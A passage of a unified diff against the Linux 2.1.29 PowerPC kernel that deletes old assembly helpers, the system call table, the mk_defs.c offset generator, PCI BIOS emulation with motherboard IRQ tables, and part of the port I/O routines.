- add r6,r6,r6 /* byte offset */ - add r6,r6,r6 /* byte offset */ - add r3,r3,r6 /* compute byte position */ - sub r4,r4,r5 /* adjust size by starting index */ - andi. r0,r5,0x1F /* offset in current word? */ - beq 10f /* at start of word */ - lwz r0,0(r3) /* get word */ - sraw r0,r0,r5 /* shift right */ - not. r7,r0 - beq 07f /* jump if only ones remain */ -05: andi. r7,r0,1 /* found zero? */ - beq 90f /* yes - all done */ - srawi r0,r0,1 - addi r5,r5,1 - b 05b -07: andi. r6,r5,0x1F - subfic r0,r6,32 - add r5,r5,r0 - sub r4,r4,r0 - b 20f -10: subi r3,r3,4 /* Adjust pointer for auto-increment */ -20: lwzu r0,4(r3) /* Get next word */ - not. r7,r0 /* Complement to find ones */ - beq 40f /* Jump if all ones */ -30: andi. r7,r0,1 /* Check low-order bit */ - beq 90f /* All done when zero found */ - srawi r0,r0,1 - addi r5,r5,1 - b 30b -40: addi r5,r5,32 /* Update bit # */ - subic. r4,r4,32 /* Any more? */ - bgt 20b -90: mr r3,r5 /* Compute result */ - blr -#endif - -/* - * - * ffz = Find First Zero in word. Undefined if no zero exists, - * so code should check against ~0UL first.. - * - *extern inline unsigned long ffz(unsigned long word) - *{ - * __asm__ __volatile__ ("bfffo %1{#0,#0},%0" - * : "=d" (word) - * : "d" (~(word))); - * return word; - *} - */ -_GLOBAL(ffz) - mr r4,r3 - li r3,0 -10: andi. r0,r4,1 /* Find the zero we know is there */ - srawi r4,r4,1 - beq 90f - addi r3,r3,1 - b 10b -90: blr - -/* - * Extended precision shifts - * - * R3/R4 has 64 bit value - * R5 has shift count - * result in R3/R4 - * - * ashrdi3: XXXYYY/ZZZAAA -> SSSXXX/YYYZZZ - * ashldi3: XXXYYY/ZZZAAA -> YYYZZZ/AAA000 - */ -_GLOBAL(__ashrdi3) - li r6,32 - sub r6,r6,r5 - slw r7,r3,r6 /* isolate YYY */ - srw r4,r4,r5 /* isolate ZZZ */ - or r4,r4,r7 /* YYYZZZ */ - sraw r3,r3,r5 /* SSSXXX */ - blr - -_GLOBAL(__ashldi3) - li r6,32 - sub r6,r6,r5 - srw r7,r4,r6 /* isolate ZZZ */ - slw r4,r4,r5 /* AAA000 */ - slw r3,r3,r5 /* YYY--- */ - or r3,r3,r7 /* YYYZZZ */ - blr - -_GLOBAL(abort) - .long 0 - -/* in include/asm/string.h now -- Cort */ -#if 0 -_GLOBAL(bzero) -#define bufp r3 -#define len r4 -#define pat r5 -/* R3 has buffer */ -/* R4 has length */ -/* R5 has pattern */ - cmpi 0,len,0 /* Exit if len <= 0 */ - ble 99f - andi. r0,bufp,3 /* Must be on longword boundary */ - bne 10f /* Use byte loop if not aligned */ - andi. r0,len,3 /* Check for overrage */ - subi bufp,bufp,4 /* Adjust pointer */ - srawi len,len,2 /* Divide by 4 */ - blt 99f /* If negative - bug out! */ - mtspr CTR,len /* Set up counter */ - li pat,0 -00: stwu pat,4(bufp) /* Store value */ - bdnz 00b /* Loop [based on counter] */ - mr len,r0 /* Get remainder (bytes) */ -10: cmpi 0,len,0 /* Any bytes left */ - ble 99f /* No - all done */ - mtspr CTR,len /* Set up counter */ - subi bufp,bufp,1 /* Adjust pointer */ - li pat,0 -20: stbu pat,1(bufp) /* Store value */ - bdnz 20b /* Loop [based on counter] */ -99: blr -#endif - - -_GLOBAL(abs) - cmpi 0,r3,0 - bge 10f - neg r3,r3 -10: blr - -_GLOBAL(_get_SP) - mr r3,r1 /* Close enough */ - blr - -_GLOBAL(_get_SDR1) - mfspr r3,SDR1 - blr - -_GLOBAL(_get_SRx) - mfsrin r3,r3 - blr - -_GLOBAL(_get_PVR) - mfspr r3,PVR - blr - -/* - * Create a kernel thread - * __kernel_thread(flags, fn, arg) - */ -#if 1 -#define SYS_CLONE 120 -_GLOBAL(__kernel_thread) -__kernel_thread: - li r0,SYS_CLONE - sc - cmpi 0,r3,0 /* parent or child? */ - bnelr /* return if parent */ - mtlr r4 /* fn addr in lr */ - mr r3,r5 /* load arg and call fn */ - blr - li 0, 1 /* exit after child exits */ - li 3, 0 - sc -#endif - -/* Why isn't this a) automatic, b) written in 'C'? */ - .data - .align 4 - .globl sys_call_table -sys_call_table: - .long sys_setup /* 0 */ - .long sys_exit - .long sys_fork - .long sys_read - .long sys_write - .long sys_open /* 5 */ - .long sys_close - .long sys_waitpid - .long sys_creat - .long sys_link - .long sys_unlink /* 10 */ - .long sys_execve - .long sys_chdir - .long sys_time - .long sys_mknod - .long sys_chmod /* 15 */ - .long sys_chown - .long sys_break - .long sys_stat - .long sys_lseek - .long sys_getpid /* 20 */ - .long sys_mount - .long sys_umount - .long sys_setuid - .long sys_getuid - .long sys_stime /* 25 */ - .long sys_ptrace - .long sys_alarm - .long sys_fstat - .long sys_pause - .long sys_utime /* 30 */ - .long sys_stty - .long sys_gtty - .long sys_access - .long sys_nice - .long sys_ftime /* 35 */ - .long sys_sync - .long sys_kill - .long sys_rename - .long sys_mkdir - .long sys_rmdir /* 40 */ - .long sys_dup - .long sys_pipe - .long sys_times - .long sys_prof - .long sys_brk /* 45 */ - .long sys_setgid - .long sys_getgid - .long sys_signal - .long sys_geteuid - .long sys_getegid /* 50 */ - .long sys_acct - .long sys_phys - .long sys_lock - .long sys_ioctl - .long sys_fcntl /* 55 */ - .long sys_mpx - .long sys_setpgid - .long sys_ulimit - .long sys_olduname - .long sys_umask /* 60 */ - .long sys_chroot - .long sys_ustat - .long sys_dup2 - .long sys_getppid - .long sys_getpgrp /* 65 */ - .long sys_setsid - .long sys_sigaction - .long sys_sgetmask - .long sys_ssetmask - .long sys_setreuid /* 70 */ - .long sys_setregid - .long sys_sigsuspend - .long sys_sigpending - .long sys_sethostname - .long sys_setrlimit /* 75 */ - .long sys_getrlimit - .long sys_getrusage - .long sys_gettimeofday - .long sys_settimeofday - .long sys_getgroups /* 80 */ - .long sys_setgroups - .long sys_select - .long sys_symlink - .long sys_lstat - .long sys_readlink /* 85 */ - .long sys_uselib - .long sys_swapon - .long sys_reboot - .long old_readdir /* was sys_readdir */ - .long sys_mmap /* 90 */ - .long sys_munmap - .long sys_truncate - .long sys_ftruncate - .long sys_fchmod - .long sys_fchown /* 95 */ - .long sys_getpriority - .long sys_setpriority - .long sys_profil - .long sys_statfs - .long sys_fstatfs /* 100 */ - .long sys_ioperm - .long sys_socketcall - .long sys_syslog - .long sys_setitimer - .long sys_getitimer /* 105 */ - .long sys_newstat - .long sys_newlstat - .long sys_newfstat - .long sys_uname - .long sys_iopl /* 110 */ - .long sys_vhangup - .long sys_idle - .long sys_vm86 - .long sys_wait4 - .long sys_swapoff /* 115 */ - .long sys_sysinfo - .long sys_ipc - .long sys_fsync - .long sys_sigreturn - .long sys_clone /* 120 */ - .long sys_setdomainname - .long sys_newuname - .long sys_modify_ldt - .long sys_adjtimex - .long sys_mprotect /* 125 */ - .long sys_sigprocmask - .long sys_create_module - .long sys_init_module - .long sys_delete_module - .long sys_get_kernel_syms /* 130 */ - .long sys_quotactl - .long sys_getpgid - .long sys_fchdir - .long sys_bdflush - .long sys_sysfs /* 135 */ - .long sys_personality - .long 0 /* for afs_syscall */ - .long sys_setfsuid - .long sys_setfsgid - .long sys_llseek /* 140 */ - .long sys_getdents - .long sys_newselect - .long sys_flock - .long sys_msync - .long sys_readv /* 145 */ - .long sys_writev - .long sys_getsid - .long sys_fdatasync - .long sys_sysctl - .long sys_mlock /* 150 */ - .long sys_munlock - .long sys_mlockall - .long sys_munlockall - .long sys_sched_setparam - .long sys_sched_getparam /* 155 */ - .long sys_sched_setscheduler - .long sys_sched_getscheduler - .long sys_sched_yield - .long sys_sched_get_priority_max - .long sys_sched_get_priority_min /* 160 */ - .long sys_sched_rr_get_interval - .long sys_nanosleep - .long sys_mremap - .long SYMBOL_NAME(sys_setresuid) - .long SYMBOL_NAME(sys_getresuid) - .space (NR_syscalls-165)*4 - diff -u --recursive --new-file linux-2.1.29/arch/ppc/kernel/mk_defs.c linux/arch/ppc/kernel/mk_defs.c --- linux-2.1.29/arch/ppc/kernel/mk_defs.c Sat May 10 18:16:36 1997 +++ linux/arch/ppc/kernel/mk_defs.c Wed Dec 31 19:00:00 1969 @@ -1,171 +0,0 @@ -/* - * This program is used to generate definitions needed by - * assembly language modules. - */ -#define MK_DEFS -#include - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -extern int errno; - -main(int argc, char *argv[]) -{ - FILE *out; - struct task_struct task; - struct thread_struct tss; - int i; - char s[256]; - struct pt_regs regs; - if (!(out = fopen(argv[1], "w"))) - { - fprintf(stderr, "Can't create output file: %s\n", strerror(errno)); - exit(1); - } - fprintf(out, "/*\n"); - fprintf(out, " * WARNING! This file is automatically generated - DO NOT EDIT!\n"); - fprintf(out, " */\n"); - put_line(out, "STATE", (int)&task.state-(int)&task); - put_line(out, "COUNTER", (int)&task.counter-(int)&task); - put_line(out, "BLOCKED", (int)&task.blocked-(int)&task); - put_line(out, "SIGNAL", (int)&task.signal-(int)&task); - put_line(out, "KERNEL_STACK_PAGE", (int)&task.kernel_stack_page-(int)&task); - put_line(out, "TSS", (int)&task.tss-(int)&task); - put_line(out, "KSP", (int)&tss.ksp-(int)&tss); - put_line(out, "LAST_PC", (int)&tss.last_pc-(int)&tss); - put_line(out, "USER_STACK", (int)&tss.user_stack-(int)&tss); - put_line(out, "PT_REGS", (int)&tss.regs-(int)&tss); - put_line(out, "PF_TRACESYS", PF_TRACESYS); - put_line(out, "TASK_FLAGS", (int)&task.flags-(int)&task); - put_line(out, "MMU_SEG0", (int)&tss.segs[0]-(int)&tss); - put_line(out, "MMU_SEG1", (int)&tss.segs[1]-(int)&tss); - put_line(out, "MMU_SEG2", (int)&tss.segs[2]-(int)&tss); - put_line(out, "MMU_SEG3", (int)&tss.segs[3]-(int)&tss); - put_line(out, "MMU_SEG4", (int)&tss.segs[4]-(int)&tss); - put_line(out, "MMU_SEG5", (int)&tss.segs[5]-(int)&tss); - put_line(out, "MMU_SEG6", (int)&tss.segs[6]-(int)&tss); - put_line(out, "MMU_SEG7", (int)&tss.segs[7]-(int)&tss); - put_line(out, "MMU_SEG8", (int)&tss.segs[8]-(int)&tss); - put_line(out, "MMU_SEG9", (int)&tss.segs[9]-(int)&tss); - put_line(out, "MMU_SEG10", (int)&tss.segs[10]-(int)&tss); - put_line(out, "MMU_SEG11", (int)&tss.segs[11]-(int)&tss); - put_line(out, "MMU_SEG12", (int)&tss.segs[12]-(int)&tss); - put_line(out, "MMU_SEG13", (int)&tss.segs[13]-(int)&tss); - put_line(out, "MMU_SEG14", (int)&tss.segs[14]-(int)&tss); - put_line(out, "MMU_SEG15", (int)&tss.segs[15]-(int)&tss); - put_line(out, "TSS_EXPC", (int)&tss.expc-(int)&tss); - put_line(out, "TSS_EXCOUNT", (int)&tss.excount-(int)&tss); - put_line(out, "TSS_FPR0", (int)&tss.fpr[0]-(int)&tss); - put_line(out, "TSS_FPR1", (int)&tss.fpr[1]-(int)&tss); - put_line(out, "TSS_FPR2", (int)&tss.fpr[2]-(int)&tss); - put_line(out, "TSS_FPR3", (int)&tss.fpr[3]-(int)&tss); - put_line(out, "TSS_FPR4", (int)&tss.fpr[4]-(int)&tss); - put_line(out, "TSS_FPR5", (int)&tss.fpr[5]-(int)&tss); - put_line(out, "TSS_FPR6", (int)&tss.fpr[6]-(int)&tss); - put_line(out, "TSS_FPR7", (int)&tss.fpr[7]-(int)&tss); - put_line(out, "TSS_FPR8", (int)&tss.fpr[8]-(int)&tss); - put_line(out, "TSS_FPR9", (int)&tss.fpr[9]-(int)&tss); - put_line(out, "TSS_FPR10", (int)&tss.fpr[10]-(int)&tss); - put_line(out, "TSS_FPR11", (int)&tss.fpr[11]-(int)&tss); - put_line(out, "TSS_FPR12", (int)&tss.fpr[12]-(int)&tss); - put_line(out, "TSS_FPR13", (int)&tss.fpr[13]-(int)&tss); - put_line(out, "TSS_FPR14", (int)&tss.fpr[14]-(int)&tss); - put_line(out, "TSS_FPR15", (int)&tss.fpr[15]-(int)&tss); - put_line(out, "TSS_FPR16", (int)&tss.fpr[16]-(int)&tss); - put_line(out, "TSS_FPR17", (int)&tss.fpr[17]-(int)&tss); - put_line(out, "TSS_FPR18", (int)&tss.fpr[18]-(int)&tss); - put_line(out, "TSS_FPR19", (int)&tss.fpr[19]-(int)&tss); - put_line(out, "TSS_FPR20", (int)&tss.fpr[20]-(int)&tss); - put_line(out, "TSS_FPR21", (int)&tss.fpr[21]-(int)&tss); - put_line(out, "TSS_FPR22", (int)&tss.fpr[22]-(int)&tss); - put_line(out, "TSS_FPR23", (int)&tss.fpr[23]-(int)&tss); - put_line(out, "TSS_FPR24", (int)&tss.fpr[24]-(int)&tss); - put_line(out, "TSS_FPR25", (int)&tss.fpr[25]-(int)&tss); - put_line(out, "TSS_FPR26", (int)&tss.fpr[26]-(int)&tss); - put_line(out, "TSS_FPR27", (int)&tss.fpr[27]-(int)&tss); - put_line(out, "TSS_FPR28", (int)&tss.fpr[28]-(int)&tss); - put_line(out, "TSS_FPR29", (int)&tss.fpr[29]-(int)&tss); - put_line(out, "TSS_FPR30", (int)&tss.fpr[30]-(int)&tss); - put_line(out, "TSS_FPR31", (int)&tss.fpr[31]-(int)&tss); - put_line(out, "TSS_FP_USED", (int)&tss.fp_used-(int)&tss); - /* Interrupt register frame */ - put_line(out, "INT_FRAME_SIZE", sizeof(regs)); - put_line(out, "GPR0", (int)®s.gpr[0]-(int)®s); - put_line(out, "GPR1", (int)®s.gpr[1]-(int)®s); - put_line(out, "GPR2", (int)®s.gpr[2]-(int)®s); - put_line(out, "GPR3", (int)®s.gpr[3]-(int)®s); - put_line(out, "GPR4", (int)®s.gpr[4]-(int)®s); - put_line(out, "GPR5", (int)®s.gpr[5]-(int)®s); - put_line(out, "GPR6", (int)®s.gpr[6]-(int)®s); - put_line(out, "GPR7", (int)®s.gpr[7]-(int)®s); - put_line(out, "GPR8", (int)®s.gpr[8]-(int)®s); - put_line(out, "GPR9", (int)®s.gpr[9]-(int)®s); - put_line(out, "GPR10", (int)®s.gpr[10]-(int)®s); - put_line(out, "GPR11", (int)®s.gpr[11]-(int)®s); - put_line(out, "GPR12", (int)®s.gpr[12]-(int)®s); - put_line(out, "GPR13", (int)®s.gpr[13]-(int)®s); - put_line(out, "GPR14", (int)®s.gpr[14]-(int)®s); - put_line(out, "GPR15", (int)®s.gpr[15]-(int)®s); - put_line(out, "GPR16", (int)®s.gpr[16]-(int)®s); - put_line(out, "GPR17", (int)®s.gpr[17]-(int)®s); - put_line(out, "GPR18", (int)®s.gpr[18]-(int)®s); - put_line(out, "GPR19", (int)®s.gpr[19]-(int)®s); - put_line(out, "GPR20", (int)®s.gpr[20]-(int)®s); - put_line(out, "GPR21", (int)®s.gpr[21]-(int)®s); - put_line(out, "GPR22", (int)®s.gpr[22]-(int)®s); - put_line(out, "GPR23", (int)®s.gpr[23]-(int)®s); - put_line(out, "GPR24", (int)®s.gpr[24]-(int)®s); - put_line(out, "GPR25", (int)®s.gpr[25]-(int)®s); - put_line(out, "GPR26", (int)®s.gpr[26]-(int)®s); - put_line(out, "GPR27", (int)®s.gpr[27]-(int)®s); - put_line(out, "GPR28", (int)®s.gpr[28]-(int)®s); - put_line(out, "GPR29", (int)®s.gpr[29]-(int)®s); - put_line(out, "GPR30", (int)®s.gpr[30]-(int)®s); - put_line(out, "GPR31", (int)®s.gpr[31]-(int)®s); -#if 0 - for ( i = 0 ; i <= 31 ; i++) - { - sprintf(s,"FPR%d",i); - put_line(out, s, (int)®s.fpr[i]-(int)®s); - } -#endif - put_line(out, "FPCSR", (int)®s.fpcsr-(int)®s); - /* Note: these symbols include "_" because they overlap with special register names */ - put_line(out, "_NIP", (int)®s.nip-(int)®s); - put_line(out, "_MSR", (int)®s.msr-(int)®s); - /* put_line(out, "_SRR1", (int)®s.srr1-(int)®s); - put_line(out, "_SRR0", (int)®s.srr0-(int)®s); */ - put_line(out, "_CTR", (int)®s.ctr-(int)®s); - put_line(out, "_LINK", (int)®s.link-(int)®s); - put_line(out, "_CCR", (int)®s.ccr-(int)®s); - put_line(out, "_XER", (int)®s.xer-(int)®s); - put_line(out, "_DAR", (int)®s.dar-(int)®s); - put_line(out, "_DSISR", (int)®s.dsisr-(int)®s); - put_line(out, "_HASH1", (int)®s.hash1-(int)®s); - put_line(out, "_HASH2", (int)®s.hash2-(int)®s); - put_line(out, "_IMISS", (int)®s.imiss-(int)®s); - put_line(out, "_DMISS", (int)®s.dmiss-(int)®s); - put_line(out, "_ICMP", (int)®s.icmp-(int)®s); - put_line(out, "_DCMP", (int)®s.dcmp-(int)®s); - put_line(out, "ORIG_GPR3", (int)®s.orig_gpr3-(int)®s); - put_line(out, "RESULT", (int)®s.result-(int)®s); - put_line(out, "TRAP", (int)®s.trap-(int)®s); - put_line(out, "MARKER", (int)®s.marker-(int)®s); - exit(0); -} - -put_line(FILE *out, char *name, int offset) -{ - fprintf(out, "#define %s %d\n", name, offset); -} diff -u --recursive --new-file linux-2.1.29/arch/ppc/kernel/pci.c linux/arch/ppc/kernel/pci.c --- linux-2.1.29/arch/ppc/kernel/pci.c Sat May 10 18:16:36 1997 +++ linux/arch/ppc/kernel/pci.c Wed Dec 31 19:00:00 1969 @@ -1,524 +0,0 @@ -/* - * PCI support - * -- rough emulation of "PCI BIOS" functions - * - * Note: these are very motherboard specific! Some way needs to - * be worked out to handle the differences. - */ - -#include -#include -#include -#include - -/* - * PCI interrupt configuration. This is motherboard specific. - */ - - -/* Which PCI interrupt line does a given device [slot] use? */ -/* Note: This really should be two dimensional based in slot/pin used */ -unsigned char *Motherboard_map; - -/* How is the 82378 PIRQ mapping setup? */ -unsigned char *Motherboard_routes; - -/* Tables for known hardware */ - -/* Motorola PowerStack */ -static char Blackhawk_pci_IRQ_map[16] = - { - 0, /* Slot 0 - unused */ - 0, /* Slot 1 - unused */ - 0, /* Slot 2 - unused */ - 0, /* Slot 3 - unused */ - 0, /* Slot 4 - unused */ - 0, /* Slot 5 - unused */ - 0, /* Slot 6 - unused */ - 0, /* Slot 7 - unused */ - 0, /* Slot 8 - unused */ - 0, /* Slot 9 - unused */ - 0, /* Slot 10 - unused */ - 0, /* Slot 11 - unused */ - 3, /* Slot 12 - SCSI */ - 0, /* Slot 13 - unused */ - 1, /* Slot 14 - Ethernet */ - 0, /* Slot 15 - unused */ - }; - -static char Blackhawk_pci_IRQ_routes[] = - { - 0, /* Line 0 - Unused */ - 9, /* Line 1 */ - 11, /* Line 2 */ - 14, /* Line 3 */ - 15 /* Line 4 */ - }; - -/* Motorola MVME16xx */ -static char Genesis_pci_IRQ_map[16] = - { - 0, /* Slot 0 - unused */ - 0, /* Slot 1 - unused */ - 0, /* Slot 2 - unused */ - 0, /* Slot 3 - unused */ - 0, /* Slot 4 - unused */ - 0, /* Slot 5 - unused */ - 0, /* Slot 6 - unused */ - 0, /* Slot 7 - unused */ - 0, /* Slot 8 - unused */ - 0, /* Slot 9 - unused */ - 0, /* Slot 10 - unused */ - 0, /* Slot 11 - unused */ - 3, /* Slot 12 - SCSI */ - 0, /* Slot 13 - unused */ - 1, /* Slot 14 - Ethernet */ - 0, /* Slot 15 - unused */ - }; - -static char Genesis_pci_IRQ_routes[] = - { - 0, /* Line 0 - Unused */ - 10, /* Line 1 */ - 11, /* Line 2 */ - 14, /* Line 3 */ - 15 /* Line 4 */ - }; - -/* Motorola Series-E */ -static char Comet_pci_IRQ_map[16] = - { - 0, /* Slot 0 - unused */ - 0, /* Slot 1 - unused */ - 0, /* Slot 2 - unused */ - 0, /* Slot 3 - unused */ - 0, /* Slot 4 - unused */ - 0, /* Slot 5 - unused */ - 0, /* Slot 6 - unused */ - 0, /* Slot 7 - unused */ - 0, /* Slot 8 - unused */ - 0, /* Slot 9 - unused */ - 0, /* Slot 10 - unused */ - 0, /* Slot 11 - unused */ - 3, /* Slot 12 - SCSI */ - 0, /* Slot 13 - unused */ - 1, /* Slot 14 - Ethernet */ - 0, /* Slot 15 - unused */ - }; - -static char Comet_pci_IRQ_routes[] = - { - 0, /* Line 0 - Unused */ - 10, /* Line 1 */ - 11, /* Line 2 */ - 14, /* Line 3 */ - 15 /* Line 4 */ - }; - -/* BeBox */ -static char BeBox_pci_IRQ_map[16] = - { - 0, /* Slot 0 - unused */ - 0, /* Slot 1 - unused */ - 0, /* Slot 2 - unused */ - 0, /* Slot 3 - unused */ - 0, /* Slot 4 - unused */ - 0, /* Slot 5 - unused */ - 0, /* Slot 6 - unused */ - 0, /* Slot 7 - unused */ - 0, /* Slot 8 - unused */ - 0, /* Slot 9 - unused */ - 0, /* Slot 10 - unused */ - 0, /* Slot 11 - unused */ - 16, /* Slot 12 - SCSI */ - 0, /* Slot 13 - unused */ - 0, /* Slot 14 - unused */ - 0, /* Slot 15 - unused */ - }; - -static char BeBox_pci_IRQ_routes[] = - { - 0, /* Line 0 - Unused */ - 9, /* Line 1 */ - 11, /* Line 2 */ - 14, /* Line 3 */ - 15 /* Line 4 */ - }; - -/* IBM Nobis */ -static char Nobis_pci_IRQ_map[16] = - { - 0, /* Slot 0 - unused */ - 0, /* Slot 1 - unused */ - 0, /* Slot 2 - unused */ - 0, /* Slot 3 - unused */ - 0, /* Slot 4 - unused */ - 0, /* Slot 5 - unused */ - 0, /* Slot 6 - unused */ - 0, /* Slot 7 - unused */ - 0, /* Slot 8 - unused */ - 0, /* Slot 9 - unused */ - 0, /* Slot 10 - unused */ - 0, /* Slot 11 - unused */ - 3, /* Slot 12 - SCSI */ - 0, /* Slot 13 - unused */ - 0, /* Slot 14 - unused */ - 0, /* Slot 15 - unused */ - }; - -static char Nobis_pci_IRQ_routes[] = - { - 0, /* Line 0 - Unused */ - 13, /* Line 1 */ - 13, /* Line 2 */ - 13, /* Line 3 */ - 13 /* Line 4 */ - }; - -#define PCI_DEBUG -#undef PCI_DEBUG - -#ifdef PCI_STATS -int PCI_conversions[2]; -#endif - -unsigned long pcibios_init(unsigned long mem_start, - unsigned long mem_end) -{ - return mem_start; -} - -unsigned long pcibios_fixup(unsigned long mem_start, unsigned long mem_end) -{ - return mem_start; -} - - -unsigned long -_LE_to_BE_long(unsigned long val) -{ - unsigned char *p = (unsigned char *)&val; -#ifdef PCI_STATS - PCI_conversions[0]++; -#endif - return ((p[3] << 24) | (p[2] << 16) | (p[1] << 8) | (p[0] << 0)); -} - -unsigned short -_LE_to_BE_short(unsigned long val) -{ - unsigned char *p = (unsigned char *)&val; -#ifdef PCI_STATS - PCI_conversions[1]++; -#endif - return ((p[3] << 8) | (p[2] << 0)); -} - -int -pcibios_present (void) -{ -#ifdef PCI_DEBUG - printk("PCI [BIOS] present?\n"); -#endif - return (1); -} - -int -pcibios_read_config_dword (unsigned char bus, - unsigned char dev, unsigned char offset, unsigned int *val) -{ - unsigned long _val; - unsigned long *ptr; - dev >>= 3; -#ifdef PCI_DEBUG - printk("PCI Read config dword[%d.%d.%x] = ", bus, dev, offset); -#endif - if ((bus != 0) || (dev < 11) || (dev > 16)) - { - *val = 0xFFFFFFFF; - return PCIBIOS_DEVICE_NOT_FOUND; - } else - { - ptr = (unsigned long *)(0x80800000 | (1<>= 3; -#ifdef PCI_DEBUG - printk("PCI Read config word[%d.%d.%x] = ", bus, dev, offset); -#endif - if ((bus != 0) || (dev < 11) || (dev > 16)) - { - *val = 0xFFFFFFFF; - return PCIBIOS_DEVICE_NOT_FOUND; - } else - { - ptr = (unsigned short *)(0x80800000 | (1<>= 3; - /* Note: the configuration registers don't always have this right! */ - if (offset == PCI_INTERRUPT_LINE) - { - if (Motherboard_map[dev] <= 4) - { - *val = Motherboard_routes[Motherboard_map[dev]]; - } else - { /* Pseudo interrupts [for BeBox] */ - *val = Motherboard_map[dev]; - } -#ifdef PCI_DEBUG - printk("PCI Read Interrupt Line[%d.%d] = %d\n", bus, dev, *val); -#endif - return PCIBIOS_SUCCESSFUL; - } -#ifdef PCI_DEBUG - printk("PCI Read config byte[%d.%d.%x] = ", bus, dev, offset); -#endif - if ((bus != 0) || (dev < 11) || (dev > 16)) - { - *val = 0xFFFFFFFF; - return PCIBIOS_DEVICE_NOT_FOUND; - } else - { - ptr = (unsigned char *)(0x80800000 | (1<>= 3; - _val = _LE_to_BE_long(val); -#ifdef PCI_DEBUG - printk("PCI Write config dword[%d.%d.%x] = %x\n", bus, dev, offset, _val); -#endif - if ((bus != 0) || (dev < 11) || (dev > 16)) - { - return PCIBIOS_DEVICE_NOT_FOUND; - } else - { - ptr = (unsigned long *)(0x80800000 | (1<>= 3; - _val = _LE_to_BE_short(val); -#ifdef PCI_DEBUG - printk("PCI Write config word[%d.%d.%x] = %x\n", bus, dev, offset, _val); -#endif - if ((bus != 0) || (dev < 11) || (dev > 16)) - { - return PCIBIOS_DEVICE_NOT_FOUND; - } else - { - ptr = (unsigned short *)(0x80800000 | (1<>= 3; - _val = val; -#ifdef PCI_DEBUG - printk("PCI Write config byte[%d.%d.%x] = %x\n", bus, dev, offset, _val); -#endif - if ((bus != 0) || (dev < 11) || (dev > 16)) - { - return PCIBIOS_DEVICE_NOT_FOUND; - } else - { - ptr = (unsigned char *)(0x80800000 | (1<>8) == class_code) - { - if (index == indx) - { - *bus = 0; - *dev = dev_nr<<3; -#ifdef PCI_DEBUG - printk(" - device: %x\n", dev_nr); -#endif - return (0); - } - indx++; - } - } -#ifdef PCI_DEBUG - printk(" - not found\n"); -#endif - return PCIBIOS_DEVICE_NOT_FOUND; -} - -const char *pcibios_strerror(int error) -{ - static char buf[32]; - switch (error) - { case PCIBIOS_SUCCESSFUL: - return ("PCI BIOS: no error"); - case PCIBIOS_FUNC_NOT_SUPPORTED: - return ("PCI BIOS: function not supported"); - case PCIBIOS_BAD_VENDOR_ID: - return ("PCI BIOS: bad vendor ID"); - case PCIBIOS_DEVICE_NOT_FOUND: - return ("PCI BIOS: device not found"); - case PCIBIOS_BAD_REGISTER_NUMBER: - return ("PCI BIOS: bad register number"); - case PCIBIOS_SET_FAILED: - return ("PCI BIOS: set failed"); - case PCIBIOS_BUFFER_TOO_SMALL: - return ("PCI BIOS: buffer too small"); - default: - sprintf(buf, "PCI BIOS: invalid error #%d", error); - return(buf); - } -} - -/* - * Note: This routine has to access the PCI configuration space - * for the PCI bridge chip (Intel 82378). - */ - -void route_PCI_interrupts(void) -{ - unsigned char *ibc_pirq = (unsigned char *)0x80800860; - unsigned char *ibc_pcicon = (unsigned char *)0x80800840; - extern unsigned long isBeBox[]; - int i; - /* Decide which motherboard this is & how the PCI interrupts are routed */ - if (isBeBox[0]) - { - Motherboard_map = BeBox_pci_IRQ_map; - Motherboard_routes = BeBox_pci_IRQ_routes; - } else - if ((_get_PVR()>>16) == 1) - { /* Nobis */ - Motherboard_map = Nobis_pci_IRQ_map; - Motherboard_routes = Nobis_pci_IRQ_routes; - } else - { /* Motorola hardware */ - switch (inb(0x800) & 0xF0) - { - case 0x10: /* MVME16xx */ - Motherboard_map = Genesis_pci_IRQ_map; - Motherboard_routes = Genesis_pci_IRQ_routes; - break; - case 0x20: /* Series E */ - Motherboard_map = Comet_pci_IRQ_map; - Motherboard_routes = Comet_pci_IRQ_routes; - break; - case 0x40: /* PowerStack */ - default: /* Can't hurt, can it? */ - Motherboard_map = Blackhawk_pci_IRQ_map; - Motherboard_routes = Blackhawk_pci_IRQ_routes; - break; - } - } - /* Set up mapping from slots */ - for (i = 1; i <= 4; i++) - { - ibc_pirq[i-1] = Motherboard_routes[i]; - } - /* Enable PCI interrupts */ - *ibc_pcicon |= 0x20; -} diff -u --recursive --new-file linux-2.1.29/arch/ppc/kernel/port_io.c linux/arch/ppc/kernel/port_io.c --- linux-2.1.29/arch/ppc/kernel/port_io.c Sat May 10 18:16:36 1997 +++ linux/arch/ppc/kernel/port_io.c Wed Dec 31 19:00:00 1969 @@ -1,149 +0,0 @@ -/* - * I/O 'port' access routines - */ - -/* This is really only correct for the MVME16xx (PreP)? */ - -#define _IO_BASE ((unsigned long)0x80000000) - -unsigned char -inb(int port) -{ - return (*((unsigned char *)(_IO_BASE+port))); -} - -unsigned short -inw(int port) -{ - return (_LE_to_BE_short(*((unsigned short *)(_IO_BASE+port)))); -} - -unsigned long -inl(int port) -{ - return (_LE_to_BE_long(*((unsigned long *)(_IO_BASE+port)))); -} - -void insb(int port, char *ptr, int len) -{ - unsigned char *io_ptr = (unsigned char *)(_IO_BASE+port); - while (len-- > 0) - { - *ptr++ = *io_ptr; - } -} - -#if 0 -void insw(int port, short *ptr, int len) -{ - unsigned short *io_ptr = (unsigned short *)(_IO_BASE+port); - while (len-- > 0) - { - *ptr++ = _LE_to_BE_short(*io_ptr); - } -} -#else -void insw(int port, short *ptr, int len) -{ - unsigned short *io_ptr = (unsigned short *)(_IO_BASE+port); - _insw(io_ptr, ptr, len); -} -#endif - -void insw_unswapped(int port, short *ptr, int len) -{ - unsigned short *io_ptr = (unsigned short *)(_IO_BASE+port); - while (len-- > 0) - { - *ptr++ = *io_ptr; - } -} - -void insl(int port, long *ptr, int len) -{ - unsigned long *io_ptr = (unsigned long *)(_IO_BASE+port); - while (len-- > 0) - { - *ptr++ = _LE_to_BE_long(*io_ptr); - } -} - -unsigned char inb_p(int port) {return (inb(port)); } -unsigned short inw_p(int port) {return (inw(port)); } -unsigned long inl_p(int port) {return (inl(port)); } - -unsigned char -outb(unsigned char val,int port) -{ - *((unsigned char *)(_IO_BASE+port)) = (val); - return (val); -} - -unsigned short -outw(unsigned short val,int port) -{ - *((unsigned short *)(_IO_BASE+port)) = _LE_to_BE_short(val); - return (val); -} - -unsigned long -outl(unsigned long val,int port) -{ - *((unsigned long *)(_IO_BASE+port)) = _LE_to_BE_long(val); - return (val); -} - -void outsb(int port, char *ptr, int 